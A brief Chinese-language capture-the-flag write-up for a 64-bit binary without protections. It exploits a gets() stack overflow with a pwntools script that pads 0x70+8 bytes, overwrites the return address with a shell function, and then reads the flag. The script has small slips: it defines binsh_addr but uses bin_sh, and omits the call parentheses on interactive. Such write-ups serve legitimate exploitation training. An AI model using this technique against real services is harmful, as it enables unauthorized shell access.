64 位 + 什么保护都没开
发现gets函数,没有限制数据的长度,容易发生栈溢出
shift+F12 找到bin_sh函数地址
64位程序直接读取偏移量
from pwn import* p=remote("ip",端口) binsh_addr=地址 payload='a'*(0x70+8)+p64(bin_sh) p.sendline(payload) p.interactive
连接成功后ls
cat flag